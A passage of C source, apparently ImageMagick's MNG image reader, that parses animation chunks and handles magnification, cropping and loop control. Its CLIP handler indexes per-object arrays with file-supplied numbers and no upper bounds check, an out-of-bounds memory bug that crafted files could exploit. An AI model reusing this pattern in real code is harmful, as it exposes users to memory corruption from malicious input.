frame_timeout); } if (change_clipping && (p-chunk) < (ssize_t) (length-17)) { fb=mng_read_box(previous_fb,(char) p[0],&p[1]); p+=17; previous_fb=fb; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Frame_clip: L=%.20g R=%.20g T=%.20g B=%.20g", (double) fb.left,(double) fb.right,(double) fb.top, (double) fb.bottom); if (change_clipping == 2) default_fb=fb; } } } mng_info->clip=fb; mng_info->clip=mng_minimum_box(fb,mng_info->frame); subframe_width=(size_t) (mng_info->clip.right -mng_info->clip.left); subframe_height=(size_t) (mng_info->clip.bottom -mng_info->clip.top); /* Insert a background layer behind the frame if framing_mode is 4. */ #if defined(MNG_INSERT_LAYERS) if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " subframe_width=%.20g, subframe_height=%.20g",(double) subframe_width,(double) subframe_height); if (insert_layers && (mng_info->framing_mode == 4) && (subframe_width) && (subframe_height)) { /* Allocate next image structure. */ if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) return(DestroyImageList(image)); image=SyncNextImageInList(image); } mng_info->image=image; if (term_chunk_found) { image->start_loop=MagickTrue; image->iterations=mng_iterations; term_chunk_found=MagickFalse; } else image->start_loop=MagickFalse; image->columns=subframe_width; image->rows=subframe_height; image->page.width=subframe_width; image->page.height=subframe_height; image->page.x=mng_info->clip.left; image->page.y=mng_info->clip.top; image->background_color=mng_background_color; image->matte=MagickFalse; image->delay=0; (void) SetImageBackgroundColor(image); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Insert backgd layer, L=%.20g, R=%.20g T=%.20g, B=%.20g", (double) mng_info->clip.left,(double) mng_info->clip.right, (double) mng_info->clip.top,(double) mng_info->clip.bottom); } #endif chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_CLIP,4) == 0) { unsigned int first_object, last_object; /* Read CLIP. */ if (length > 3) { first_object=(p[0] << 8) | p[1]; last_object=(p[2] << 8) | p[3]; p+=4; for (i=(int) first_object; i <= (int) last_object; i++) { if (mng_info->exists[i] && !mng_info->frozen[i]) { MngBox box; box=mng_info->object_clip[i]; if ((p-chunk) < (ssize_t) (length-17)) mng_info->object_clip[i]= mng_read_box(box,(char) p[0],&p[1]); } } } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_SAVE,4) == 0) { for (i=1; i < MNG_MAX_OBJECTS; i++) if (mng_info->exists[i]) { mng_info->frozen[i]=MagickTrue; #ifdef MNG_OBJECT_BUFFERS if (mng_info->ob[i] != (MngBuffer *) NULL) mng_info->ob[i]->frozen=MagickTrue; #endif } if (length != 0) chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if ((memcmp(type,mng_DISC,4) == 0) || (memcmp(type,mng_SEEK,4) == 0)) { /* Read DISC or SEEK. */ if ((length == 0) || !memcmp(type,mng_SEEK,4)) { for (i=1; i < MNG_MAX_OBJECTS; i++) MngInfoDiscardObject(mng_info,i); } else { register ssize_t j; for (j=1; j < (ssize_t) length; j+=2) { i=p[j-1] << 8 | p[j]; MngInfoDiscardObject(mng_info,i); } } if (length != 0) chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_MOVE,4) == 0) { size_t first_object, last_object; /* read MOVE */ if (length > 3) { first_object=(p[0] << 8) | p[1]; last_object=(p[2] << 8) | p[3]; p+=4; for (i=(ssize_t) first_object; i <= (ssize_t) last_object; i++) { if ((i < 0) || (i >= MNG_MAX_OBJECTS)) continue; if (mng_info->exists[i] && !mng_info->frozen[i] && (p-chunk) < (ssize_t) (length-8)) { MngPair new_pair; MngPair old_pair; old_pair.a=mng_info->x_off[i]; old_pair.b=mng_info->y_off[i]; new_pair=mng_read_pair(old_pair,(int) p[0],&p[1]); mng_info->x_off[i]=new_pair.a; mng_info->y_off[i]=new_pair.b; } } } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_LOOP,4) == 0) { ssize_t loop_iters=1; if (length > 4) { loop_level=chunk[0]; mng_info->loop_active[loop_level]=1; /* mark loop active */ /* Record starting point. */ loop_iters=mng_get_long(&chunk[1]); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " LOOP level %.20g has %.20g iterations ", (double) loop_level, (double) loop_iters); if (loop_iters == 0) skipping_loop=loop_level; else { mng_info->loop_jump[loop_level]=TellBlob(image); mng_info->loop_count[loop_level]=loop_iters; } mng_info->loop_iteration[loop_level]=0; } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_ENDL,4) == 0) { if (length > 0) { loop_level=chunk[0]; if (skipping_loop > 0) { if (skipping_loop == loop_level) { /* Found end of zero-iteration loop. */ skipping_loop=(-1); mng_info->loop_active[loop_level]=0; } } else { if (mng_info->loop_active[loop_level] == 1) { mng_info->loop_count[loop_level]--; mng_info->loop_iteration[loop_level]++; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " ENDL: LOOP level %.20g has %.20g remaining iters ", (double) loop_level,(double) mng_info->loop_count[loop_level]); if (mng_info->loop_count[loop_level] != 0) { offset=SeekBlob(image, mng_info->loop_jump[loop_level], SEEK_SET); if (offset < 0) { chunk=(unsigned char *) RelinquishMagickMemory( chunk); ThrowReaderException(CorruptImageError, "ImproperImageHeader"); } } else { short last_level; /* Finished loop. */ mng_info->loop_active[loop_level]=0; last_level=(-1); for (i=0; i < loop_level; i++) if (mng_info->loop_active[i] == 1) last_level=(short) i; loop_level=last_level; } } } } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_CLON,4) == 0) { if (mng_info->clon_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"CLON is not implemented yet","`%s'", image->filename); mng_info->clon_warning++; } if (memcmp(type,mng_MAGN,4) == 0) { png_uint_16 magn_first, magn_last, magn_mb, magn_ml, magn_mr, magn_mt, magn_mx, magn_my, magn_methx, magn_methy; if (length > 1) magn_first=(p[0] << 8) | p[1]; else magn_first=0; if (length > 3) magn_last=(p[2] << 8) | p[3]; else magn_last=magn_first; #ifndef MNG_OBJECT_BUFFERS if (magn_first || magn_last) if (mng_info->magn_warning == 0) { (void) ThrowMagickException(&image->exception, GetMagickModule(),CoderError, "MAGN is not implemented yet for nonzero objects", "`%s'",image->filename); mng_info->magn_warning++; } #endif if (length > 4) magn_methx=p[4]; else magn_methx=0; if (length > 6) magn_mx=(p[5] << 8) | p[6]; else magn_mx=1; if (magn_mx == 0) magn_mx=1; if (length > 8) magn_my=(p[7] << 8) | p[8]; else magn_my=magn_mx; if (magn_my == 0) magn_my=1; if (length > 10) magn_ml=(p[9] << 8) | p[10]; else magn_ml=magn_mx; if (magn_ml == 0) magn_ml=1; if (length > 12) magn_mr=(p[11] << 8) | p[12]; else magn_mr=magn_mx; if (magn_mr == 0) magn_mr=1; if (length > 14) magn_mt=(p[13] << 8) | p[14]; else magn_mt=magn_my; if (magn_mt == 0) magn_mt=1; if (length > 16) magn_mb=(p[15] << 8) | p[16]; else magn_mb=magn_my; if (magn_mb == 0) magn_mb=1; if (length > 17) magn_methy=p[17]; else magn_methy=magn_methx; if (magn_methx > 5 || magn_methy > 5) if (mng_info->magn_warning == 0) { (void) ThrowMagickException(&image->exception, GetMagickModule(),CoderError, "Unknown MAGN method in MNG datastream","`%s'", image->filename); mng_info->magn_warning++; } #ifdef MNG_OBJECT_BUFFERS /* Magnify existing objects in the range magn_first to magn_last */ #endif if (magn_first == 0 || magn_last == 0) { /* Save the magnification factors for object 0 */ mng_info->magn_mb=magn_mb; mng_info->magn_ml=magn_ml; mng_info->magn_mr=magn_mr; mng_info->magn_mt=magn_mt; mng_info->magn_mx=magn_mx; mng_info->magn_my=magn_my; mng_info->magn_methx=magn_methx; mng_info->magn_methy=magn_methy; } } if (memcmp(type,mng_PAST,4) == 0) { if (mng_info->past_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"PAST is not implemented yet","`%s'", image->filename); mng_info->past_warning++; } if (memcmp(type,mng_SHOW,4) == 0) { if (mng_info->show_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"SHOW is not implemented yet","`%s'", image->filename); mng_info->show_warning++; } if (memcmp(type,mng_sBIT,4) == 0) { if (length < 4) mng_info->have_global_sbit=MagickFalse; else { mng_info->global_sbit.gray=p[0]; mng_info->global_sbit.red=p[0]; mng_info->global_sbit.green=p[1]; mng_info->global_sbit.blue=p[2]; mng_info->global_sbit.alpha=p[3]; mng_info->have_global_sbit=MagickTrue; } } if (memcmp(type,mng_pHYs,4) == 0) { if (length > 8) { mng_info->global_x_pixels_per_unit= (size_t) mng_get_long(p); mng_info->global_y_pixels_per_unit= (size_t) mng_get_long(&p[4]); mng_info->global_phys_unit_type=p[8]; mng_info->have_global_phys=MagickTrue; } else mng_info->have_global_phys=MagickFalse; } if (memcmp(type,mng_pHYg,4) == 0) { if (mng_info->phyg_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"pHYg is not implemented.","`%s'",image->filename); mng_info->phyg_warning++; } if (memcmp(type,mng_BASI,4) == 0) { skip_to_iend=MagickTrue; if (mng_info->basi_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"BASI is not implemented yet","`%s'", image->filename); mng_info->basi_warning++; #ifdef MNG_BASI_SUPPORTED if (length > 11) { basi_width=(size_t) ((p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3]); basi_height=(size_t) ((p[4] << 24) | (p[5] << 16) | (p[6] << 8) | p[7]); basi_color_type=p[8]; basi_compression_method=p[9]; basi_filter_type=p[10]; basi_interlace_method=p[11]; } if (length > 13) basi_red=(p[12] << 8) & p[13]; else basi_red=0; if (length > 15) basi_green=(p[14] << 8) & p[15]; else basi_green=0; if (length > 17) basi_blue=(p[16] << 8) & p[17]; else basi_blue=0; if (length > 19) basi_alpha=(p[18] << 8) & p[19]; else { if (basi_sample_depth == 16) basi_alpha=65535L; else basi_alpha=255; } if (length > 20) basi_viewable=p[20]; else basi_viewable=0; #endif chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_IHDR,4) #if defined(JNG_SUPPORTED) && memcmp(type,mng_JHDR,4) #endif ) { /* Not an IHDR or JHDR chunk */ if (length != 0) chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } /* Process IHDR */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Processing %c%c%c%c chunk",type[0],type[1],type[2],type[3]); mng_info->exists[object_id]=MagickTrue; mng_info->viewable[object_id]=MagickTrue; if (mng_info->invisible[object_id]) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Skipping invisible object"); skip_to_iend=MagickTrue; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } #if defined(MNG_INSERT_LAYERS) if (length < 8) { chunk=(unsigned char *) RelinquishMagickMemory(chunk); ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } image_width=(size_t) mng_get_long(p); image_height=(size_t) mng_get_long(&p[4]); #endif chunk=(unsigned char *) RelinquishMagickMemory(chunk); /* Insert a transparent background layer behind the entire animation if it is not full screen. */ #if defined(MNG_INSERT_LAYERS) if (insert_layers && mng_type && first_mng_object) { if ((mng_info->clip.left > 0) || (mng_info->clip.top > 0) || (image_width < mng_info->mng_width) || (mng_info->clip.right < (ssize_t) mng_info->mng_width) || (image_height < mng_info->mng_height) || (mng_info->clip.bottom < (ssize_t) mng_info->mng_height)) { if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) return(DestroyImageList(image)); image=SyncNextImageInList(image); } mng_info->image=image; if (term_chunk_found) { image->start_loop=MagickTrue; image->iterations=mng_iterations; term_chunk_found=MagickFalse; } else image->start_loop=MagickFalse; /* Make a background rectangle. */ image->delay=0; image->columns=mng_info->mng_width; image->rows=mng_info->mng_height; image->page.width=mng_info->mng_width; image->page.height=mng_info->mng_height; image->page.x=0; image->page.y=0; image->background_color=mng_background_color; (void) SetImageBackgroundColor(image); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Inserted transparent background layer, W=%.20g, H=%.20g", (double) mng_info->mng_width,(double) mng_info->mng_height); } } /* Insert a background layer behind the upcoming image if framing_mode is 3, and we haven't already inserted one. */ if (insert_layers && (mng_info->framing_mode == 3) && (subframe_width) && (subframe_height) && (simplicity == 0 || (simplicity & 0x08))) { if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) return(DestroyImageList(image)); image=SyncNextImageInList(image); } mng_info->image=image; if (term_chunk_found) { image->start_loop=MagickTrue; image->iterations=mng_iterations; term_chunk_found=MagickFalse; } else image->start_loop=MagickFalse; image->delay=0; image->columns=subframe_width; image->rows=subframe_height; image->page.width=subframe_width; image->page.height=subframe_height; image->page.x=mng_info->clip.left; image->page.y=mng_info->clip.top; image->background_color=mng_background_color; image->matte=MagickFalse; (void) SetImageBackgroundColor(image); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Insert background layer, L=%.20g, R=%.20g T=%.20g, B=%.20g", (double) mng_info->clip.left,(double) mng_info->clip.right, (double) mng_info->clip.top,(double) mng_info->clip.bottom); } #endif /* MNG_INSERT_LAYERS */ first_mng_object=MagickFalse; if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) return(DestroyImageList(image)); image=SyncNextImageInList(image); } mng_info->image=image; status=SetImageProgress(image,LoadImagesTag,TellBlob(image), GetBlobSize(image)); if (status == MagickFalse) break; if (term_chunk_found) { image->start_loop=MagickTrue; term_chunk_found=MagickFalse; } else image->start_loop=MagickFalse; if (mng_info->framing_mode == 1 || mng_info->framing_mode == 3) { image->delay=frame_delay; frame_delay=default_frame_delay; } else image->delay=0; image->page.width=mng_info->mng_width; image->page.height=mng_info->mng_height; image->page.x=mng_info->x_off[object_id]; image->page.y=mng_info->y_off[object_id]; image->iterations=mng_iterations; /* Seek back to the beginning of the IHDR or JHDR chunk's length field. */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Seeking back to beginning of %c%c%c%c chunk",type[0],type[1], type[2],type[3]); offset=SeekBlob(image,-((ssize_t) length+12),SEEK_CUR); if (offset < 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } mng_info->image=image; mng_info->mng_type=mng_type; mng_info->object_id=object_id; if (memcmp(type,mng_IHDR,4) == 0) image=ReadOnePNGImage(mng_info,image_info,exception); #if defined(JNG_SUPPORTED) else image=ReadOneJNGImage(mng_info,image_info,exception); #endif if (image == (Image *) NULL) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), "exit ReadJNGImage() with error"); return((Image *) NULL); } if (image->columns == 0 || image->rows == 0) { (void) CloseBlob(image); return(DestroyImageList(image)); } mng_info->image=image; if (mng_type) { MngBox crop_box; if (mng_info->magn_methx || mng_info->magn_methy) { png_uint_32 magnified_height, magnified_width; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Processing MNG MAGN chunk"); if (mng_info->magn_methx == 1) { magnified_width=mng_info->magn_ml; if (image->columns > 1) magnified_width += mng_info->magn_mr; if (image->columns > 2) magnified_width += (png_uint_32) ((image->columns-2)*(mng_info->magn_mx)); } else { magnified_width=(png_uint_32) image->columns; if (image->columns > 1) magnified_width += mng_info->magn_ml-1; if (image->columns > 2) magnified_width += mng_info->magn_mr-1; if (image->columns > 3) magnified_width += (png_uint_32) ((image->columns-3)*(mng_info->magn_mx-1)); } if (mng_info->magn_methy == 1) { magnified_height=mng_info->magn_mt; if (image->rows > 1) magnified_height += mng_info->magn_mb; if (image->rows > 2) magnified_height += (png_uint_32) ((image->rows-2)*(mng_info->magn_my)); } else { magnified_height=(png_uint_32) image->rows; if (image->rows > 1) magnified_height += mng_info->magn_mt-1; if (image->rows > 2) magnified_height += mng_info->magn_mb-1; if (image->rows > 3) magnified_height += (png_uint_32) ((image->rows-3)*(mng_info->magn_my-1)); } if (magnified_height > image->rows || magnified_width > image->columns) { Image *large_image; int yy; ssize_t m, y; register ssize_t x; register PixelPacket *n, *q; PixelPacket *next, *prev; png_uint_16 magn_methx, magn_methy; /* Allocate next image structure. */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Allocate magnified image"); AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) return(DestroyImageList(image)); large_image=SyncNextImageInList(image); large_image->columns=magnified_width; large_image->rows=magnified_height; magn_methx=mng_info->magn_methx; magn_methy=mng_info->magn_methy; #if (MAGICKCORE_QUANTUM_DEPTH > 16) #define QM unsigned short if (magn_methx != 1 || magn_methy != 1) { /* Scale pixels to unsigned shorts to prevent overflow of intermediate values of interpolations */ for (y=0; y < (ssize_t) image->rows; y++) { q=GetAuthenticPixels(image,0,y,image->columns,1, exception); for (x=(ssize_t) image->columns-1; x >= 0; x--) { SetPixelRed(q,ScaleQuantumToShort( GetPixelRed(q))); SetPixelGreen(q,ScaleQuantumToShort( GetPixelGreen(q))); SetPixelBlue(q,ScaleQuantumToShort( GetPixelBlue(q))); SetPixelOpacity(q,ScaleQuantumToShort( GetPixelOpacity(q))); q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } } #else #define QM Quantum #endif if (image->matte != MagickFalse) (void) SetImageBackgroundColor(large_image); else { large_image->background_color.opacity=OpaqueOpacity; (void) SetImageBackgroundColor(large_image); if (magn_methx == 4) magn_methx=2; if (magn_methx == 5) magn_methx=3; if (magn_methy == 4) magn_methy=2; if (magn_methy == 5) magn_methy=3; } /* magnify the rows into the right side of the large image */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the rows to %.20g",(double) large_image->rows); m=(ssize_t) mng_info->magn_mt; yy=0; length=(size_t) image->columns; next=(PixelPacket *) AcquireQuantumMemory(length,sizeof(*next)); prev=(PixelPacket *) AcquireQuantumMemory(length,sizeof(*prev)); if ((prev == (PixelPacket *) NULL) || (next == (PixelPacket *) NULL)) { image=DestroyImageList(image); ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } n=GetAuthenticPixels(image,0,0,image->columns,1,exception); (void) CopyMagickMemory(next,n,length); for (y=0; y < (ssize_t) image->rows; y++) { if (y == 0) m=(ssize_t) mng_info->magn_mt; else if (magn_methy > 1 && y == (ssize_t) image->rows-2) m=(ssize_t) mng_info->magn_mb; else if (magn_methy <= 1 && y == (ssize_t) image->rows-1) m=(ssize_t) mng_info->magn_mb; else if (magn_methy > 1 && y == (ssize_t) image->rows-1) m=1; else m=(ssize_t) mng_info->magn_my; n=prev; prev=next; next=n; if (y < (ssize_t) image->rows-1) { n=GetAuthenticPixels(image,0,y+1,image->columns,1, exception); (void) CopyMagickMemory(next,n,length); } for (i=0; i < m; i++, yy++) { register PixelPacket *pixels; assert(yy < (ssize_t) large_image->rows); pixels=prev; n=next; q=GetAuthenticPixels(large_image,0,yy,large_image->columns, 1,exception); q+=(large_image->columns-image->columns); for (x=(ssize_t) image->columns-1; x >= 0; x--) { /* To do: get color as function of indexes[x] */ /* if (image->storage_class == PseudoClass) { } */ if (magn_methy <= 1) { /* replicate previous */ SetPixelRGBO(q,(pixels)); } else if (magn_methy == 2 || magn_methy == 4) { if (i == 0) { SetPixelRGBO(q,(pixels)); } else { /* Interpolate */ SetPixelRed(q, ((QM) (((ssize_t) (2*i*(GetPixelRed(n) -GetPixelRed(pixels)+m))/ ((ssize_t) (m*2)) +GetPixelRed(pixels))))); SetPixelGreen(q, ((QM) (((ssize_t) (2*i*(GetPixelGreen(n) -GetPixelGreen(pixels)+m))/ ((ssize_t) (m*2)) +GetPixelGreen(pixels))))); SetPixelBlue(q, ((QM) (((ssize_t) (2*i*(GetPixelBlue(n) -GetPixelBlue(pixels)+m))/ ((ssize_t) (m*2)) +GetPixelBlue(pixels))))); if (image->matte != MagickFalse) SetPixelOpacity(q, ((QM) (((ssize_t) (2*i*(GetPixelOpacity(n) -GetPixelOpacity(pixels)+m)) /((ssize_t) (m*2))+ GetPixelOpacity(pixels))))); } if (magn_methy == 4) { /* Replicate nearest */ if (i <= ((m+1) << 1)) SetPixelOpacity(q, (*pixels).opacity+0); else SetPixelOpacity(q, (*n).opacity+0); } } else /* if (magn_methy == 3 || magn_methy == 5) */ { /* Replicate nearest */ if (i <= ((m+1) << 1)) { SetPixelRGBO(q,(pixels)); } else { SetPixelRGBO(q,(n)); } if (magn_methy == 5) { SetPixelOpacity(q, (QM) (((ssize_t) (2*i* (GetPixelOpacity(n) -GetPixelOpacity(pixels)) +m))/((ssize_t) (m*2)) +GetPixelOpacity(pixels))); } } n++; q++; pixels++; } /* x */ if (SyncAuthenticPixels(large_image,exception) == 0) break; } /* i */ } /* y */ prev=(PixelPacket *) RelinquishMagickMemory(prev); next=(PixelPacket *) RelinquishMagickMemory(next); length=image->columns; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Delete original image"); DeleteImageFromList(&image); image=large_image; mng_info->image=image; /* magnify the columns */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the columns to %.20g",(double) image->columns); for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *pixels; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); pixels=q+(image->columns-length); n=pixels+1; for (x=(ssize_t) (image->columns-length); x < (ssize_t) image->columns; x++) { /* To do: Rewrite using Get/Set***PixelComponent() */ if (x == (ssize_t) (image->columns-length)) m=(ssize_t) mng_info->magn_ml; else if (magn_methx > 1 && x == (ssize_t) image->columns-2) m=(ssize_t) mng_info->magn_mr; else if (magn_methx <= 1 && x == (ssize_t) image->columns-1) m=(ssize_t) mng_info->magn_mr; else if (magn_methx > 1 && x == (ssize_t) image->columns-1) m=1; else m=(ssize_t) mng_info->magn_mx; for (i=0; i < m; i++) { if (magn_methx <= 1) { /* replicate previous */ SetPixelRGBO(q,(pixels)); } else if (magn_methx == 2 || magn_methx == 4) { if (i == 0) { SetPixelRGBO(q,(pixels)); } /* To do: Rewrite using Get/Set***PixelComponent() */ else { /* Interpolate */ SetPixelRed(q, (QM) ((2*i*( GetPixelRed(n) -GetPixelRed(pixels))+m) /((ssize_t) (m*2))+ GetPixelRed(pixels))); SetPixelGreen(q, (QM) ((2*i*( GetPixelGreen(n) -GetPixelGreen(pixels))+m) /((ssize_t) (m*2))+ GetPixelGreen(pixels))); SetPixelBlue(q, (QM) ((2*i*( GetPixelBlue(n) -GetPixelBlue(pixels))+m) /((ssize_t) (m*2))+ GetPixelBlue(pixels))); if (image->matte != MagickFalse) SetPixelOpacity(q, (QM) ((2*i*( GetPixelOpacity(n) -GetPixelOpacity(pixels))+m) /((ssize_t) (m*2))+ GetPixelOpacity(pixels))); } if (magn_methx == 4) { /* Replicate nearest */ if (i <= ((m+1) << 1)) { SetPixelOpacity(q, GetPixelOpacity(pixels)+0); } else { SetPixelOpacity(q, GetPixelOpacity(n)+0); } } } else /* if (magn_methx == 3 || magn_methx == 5) */ { /* Replicate nearest */ if (i <= ((m+1) << 1)) { SetPixelRGBO(q,(pixels)); } else { SetPixelRGBO(q,(n)); } if (magn_methx == 5) { /* Interpolate */ SetPixelOpacity(q, (QM) ((2*i*( GetPixelOpacity(n) -GetPixelOpacity(pixels))+m)/ ((ssize_t) (m*2)) +GetPixelOpacity(pixels))); } } q++; } n++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } #if (MAGICKCORE_QUANTUM_DEPTH > 16) if (magn_methx != 1 || magn_methy != 1) { /* Rescale pixels to Quantum */ for (y=0; y < (ssize_t) image->rows; y++) { q=GetAuthenticPixels(image,0,y,image->columns,1,exception); for (x=(ssize_t) image->columns-1; x >= 0; x--) { SetPixelRed(q,ScaleShortToQuantum( GetPixelRed(q))); SetPixelGreen(q,ScaleShortToQuantum( GetPixelGreen(q))); SetPixelBlue(q,ScaleShortToQuantum( GetPixelBlue(q))); SetPixelOpacity(q,ScaleShortToQuantum( GetPixelOpacity(q))); q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } } #endif if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Finished MAGN processing"); } } /* Crop_box is with respect to the upper left corner of the MNG. */ crop_box.left=mng_info->image_box.left+mng_info->x_off[object_id]; crop_box.right=mng_info->image_box.right+mng_info->x_off[object_id]; crop_box.top=mng_info->image_box.top+mng_info->y_off[object_id]; crop_box.bottom=mng_info->image_box.bottom+mng_info->y_off[object_id]; crop_box=mng_minimum_box(crop_box,mng_info->clip); crop_box=mng_minimum_box(crop_box,mng_info->frame); crop_box=mng_minimum_box(crop_box,mng_info->object_clip[object_id]); if ((crop_box.left != (mng_info->image_box.left +mng_info->x_off[object_id])) || (crop_box.right != (mng_info->image_box.right +mng_info->x_off[object_id])) || (crop_box.top != (mng_info->image_box.top +mng_info->y_off[object_id])) || (crop_box.bottom != (mng_info->image_box.bottom +mng_info->y_off[object_id]))) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Crop the PNG image"); if ((crop_box.left < crop_box.right) && (crop_box.top < crop_box.bottom)) { Image *im; RectangleInfo crop_info; /* Crop_info is with respect to the upper left corner of the image. */ crop_info.x=(crop_box.left-mng_info->x_off[object_id]); crop_info.y=(crop_box.top-mng_info->y_off[object_id]); crop_info.width=(size_t) (crop_box.right-crop_box.left); crop_info.height=(size_t) (crop_box.bottom-crop_box.top); image->page.width=image->columns; image->page.height=image->rows; image->page.x=0; image->page.y=0; im=CropImage(image,&crop_info,exception); if (im != (Image *) NULL) { image->columns=im->columns; image->rows=im->rows; im=DestroyImage(im); image->page.width=image->columns; image->page.height=image->rows; image->page.x=crop_box.left; image->page.y=crop_box.top; } } else { /* No pixels in crop area. The MNG spec still requires a layer, though, so make a single transparent pixel in the top left corner. */ image->columns=1; image->rows=1; image->colors=2; (void) SetImageBackgroundColor(image); image->page.width=1; image->page.height=1; image->page.x=0; image->page.y=0; } } #ifndef PNG_READ_EMPTY_PLTE_SUPPORTED image=mng_info->image; #endif } #if (MAGICKCORE_QUANTUM_DEPTH > 16) /* PNG does not handle depths greater than 16 so reduce it even * if lossy, and promote any depths > 8 to 16. */ if (image->depth > 16) image->depth=16; #endif #if (MAGICKCORE_QUANTUM_DEPTH > 8) if (image->depth > 8) { /* To do: fill low byte properly */ image->depth=16; } if (LosslessReduceDepthOK(image) != MagickFalse) image->depth = 8; #endif GetImageException(image,exception); if (image_info->number_scenes != 0) { if (mng_info->scenes_found > (ssize_t) (image_info->first_scene+image_info->number_scenes)) break; } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Finished reading image datastream."); } while (LocaleCompare(image_info->magick,"MNG") == 0); (void) CloseBlob(image); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Finished reading all image datastreams."); #if defined(MNG_INSERT_LAYERS) if (insert_layers && !mng_info->image_found && (mng_info->mng_width) && (mng_info->mng_height)) { /* Insert a background layer if nothing else was found. */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " No images found. Inserting a background layer."); if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Allocation failed, returning NULL."); return(DestroyImageList(image)); } image=SyncNextImageInList(image); } image->columns=mng_info->mng_width; image->rows=mng_info->mng_height; image->page.width=mng_info->mng_width; image->page.height=mng_info->mng_height; image->page.x=0; image->page.y=0; image->background_color=mng_background_color; image->matte=MagickFalse; if (image_info->ping == MagickFalse) (void) SetImageBackgroundColor(image); mng_info->image_found++; } #endif image->iterations=mng_iterations; if (mng_iterations == 1) image->start_loop=MagickTrue; while (GetPreviousImageInList(image) != (Image *) NULL) { image_count++; if (image_count > 10*mng_info->image_found) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule()," No beginning"); (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"Linked list is corrupted, beginning of list not found", "`%s'",image_info->filename); return(DestroyImageList(image)); } image=GetPreviousImageInList(image); if (GetNextImageInList(image) == (Image *) NULL) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule()," Corrupt list"); (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"Linked list is corrupted; next_image is NULL","`%s'", image_info->filename); } } if (mng_info->ticks_per_second && mng_info->image_found > 1 && GetNextImageInList(image) == (Image *) NULL) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " First image null"); (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"image->next for first image is NULL but shouldn't be.", "`%s'",image_info->filename); } if (mng_info->image_found == 0) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " No visible images found."); (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"No visible images in file","`%s'",image_info->filename); return(DestroyImageList(image)); } if (mng_info->ticks_per_second) 